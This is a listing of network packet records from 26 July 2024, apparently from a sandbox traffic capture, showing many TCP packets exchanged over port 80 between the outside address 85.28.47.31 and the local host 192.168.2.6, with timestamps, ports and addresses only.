Jul 26, 2024 13:49:12.001396894 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.001410961 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.001421928 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:12.001426935 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.001441956 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.001450062 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:12.001457930 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.001485109 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:12.001501083 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:12.001729012 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.001761913 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:12.004987001 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.005089998 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.005105019 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.005112886 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:12.005129099 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:12.005153894 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:12.005338907 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.005353928 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.005368948 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.005383015 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.005383968 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:12.005393028 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:12.005418062 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:12.005790949 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.005840063 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:12.005892038 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.005927086 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:12.005979061 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.005992889 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.006014109 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:12.006028891 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:12.006613016 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.006628036 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.006644964 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.006654024 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:12.006666899 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:12.006685019 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:12.006711006 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.006726027 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.006740093 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.006746054 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:12.006755114 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.006763935 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:12.006769896 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.006784916 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:12.006798983 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:12.006836891 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:12.007112980 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.007128000 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.007143021 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.007153034 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:12.007158995 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.007167101 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:12.007175922 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.007181883 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:12.007198095 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:12.007225037 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:12.007724047 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.007740021 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.007755995 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.007762909 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:12.007771969 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.007774115 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:12.007780075 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.008147955 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:12.008346081 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.008362055 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.008375883 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.008388996 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:12.008390903 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.008403063 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:12.008407116 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.008423090 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:12.008445024 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:12.008950949 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.008968115 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.008986950 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:12.008989096 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.009001017 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:12.009030104 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:12.009301901 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.009318113 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.009337902 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:12.009356976 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:12.013520956 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.013566017 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:12.013582945 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.013619900 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:12.013736963 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.013781071 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:12.013868093 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.013884068 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.013906002 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:12.013926983 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:12.014343023 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.014358997 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.014375925 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.014390945 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.014396906 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:12.014415026 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:12.014446974 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:12.014630079 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.014646053 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.014662981 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.014667034 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:12.014686108 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:12.014703035 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:12.014998913 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.015012026 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.015043974 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:12.015055895 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:12.015141010 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.015156984 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.015185118 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:12.015197039 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:12.015361071 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.015387058 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.015402079 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.015403032 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:12.015424013 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:12.015434980 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:12.015929937 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.015944004 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.015959024 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.015965939 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:12.015983105 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:12.016006947 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:12.016202927 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.016216993 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.016238928 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:12.016239882 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.016256094 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.016257048 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:12.016271114 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.016284943 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:12.016288996 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.016305923 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.016313076 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:12.016321898 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.016340971 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:12.016356945 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:12.017743111 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.017757893 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.017771959 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.017786980 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.017793894 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:12.017802954 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.017817974 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:12.017819881 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.017837048 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.017854929 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:12.017870903 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:12.018043041 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.018066883 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.018080950 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.018088102 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:12.018096924 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.018111944 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.018119097 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:12.018119097 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:12.018131971 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:12.018150091 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:12.019345045 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.019377947 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.019387007 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:12.019392967 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.019409895 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:12.019422054 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.019431114 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:12.019438982 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.019453049 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.019454956 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:12.019468069 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.019471884 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:12.019484043 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.019489050 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:12.019506931 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:12.019537926 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:12.084979057 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.085041046 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:12.085082054 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.085098982 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.085148096 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:12.086267948 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.086285114 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.086301088 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.086316109 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.086338997 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:12.086374998 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:12.089452982 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.089629889 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.089646101 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.089683056 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:12.089720964 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:12.090471983 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.090487957 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.090502977 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.090518951 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.090532064 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:12.090533972 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.090549946 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.090564013 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.090569973 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:12.090579033 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.090586901 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:12.090604067 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:12.090629101 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:12.091212988 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.091229916 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.091244936 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.091260910 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.091274023 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:12.091274977 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.091298103 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.091310978 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:12.091341972 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:12.092219114 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.092236042 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.092252970 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.092268944 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.092272997 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:12.092314005 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:12.094033957 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.094160080 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.094176054 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.094180107 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:12.094206095 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:12.094224930 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:12.094336987 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.094352961 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.094368935 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.094383001 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:12.094383955 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.094402075 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:12.094434977 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:12.094434977 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:12.095001936 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.095046997 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:12.095068932 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.095084906 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.095101118 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.095113039 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:12.095117092 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.095133066 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.095134020 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:12.095149994 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.095160007 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:12.095160007 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:12.095179081 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:12.095197916 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:12.095980883 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.095997095 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.096012115 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.096026897 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.096041918 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.096056938 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.096066952 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:12.096072912 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.096088886 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.096101999 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:12.096120119 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:12.096154928 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:12.096919060 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.096935034 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.096949100 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.096962929 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.096966982 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:12.096980095 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.096988916 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:12.096996069 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.097012043 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.097023964 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:12.097038984 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:12.097064018 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:12.097357988 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.097383022 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.097398043 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.097414017 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.097429037 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.097429991 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:12.097445011 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.097460985 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.097461939 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:12.097475052 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:12.097505093 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:12.102380991 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.102458954 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.102473974 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.102489948 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:12.102498055 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:12.102519989 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:12.102690935 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.102718115 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.102732897 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:12.102741003 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.102750063 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:12.102758884 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.102772951 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:12.102775097 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.102791071 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:12.102813005 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:12.103317022 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.103332043 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.103346109 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.103358984 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.103373051 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.103374958 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:12.103387117 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.103400946 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.103413105 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:12.103430033 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:12.104609966 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.104629040 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.104641914 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.104655981 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.104669094 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.104681969 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.104687929 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:12.104697943 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.104712963 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.104716063 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:12.104739904 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:12.104764938 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:12.105662107 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.105676889 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.105690956 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.105705976 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.105720043 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.105727911 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:12.105735064 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.105747938 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:12.105751991 CEST	80	58985	85.28.47.31	192.168.2.6
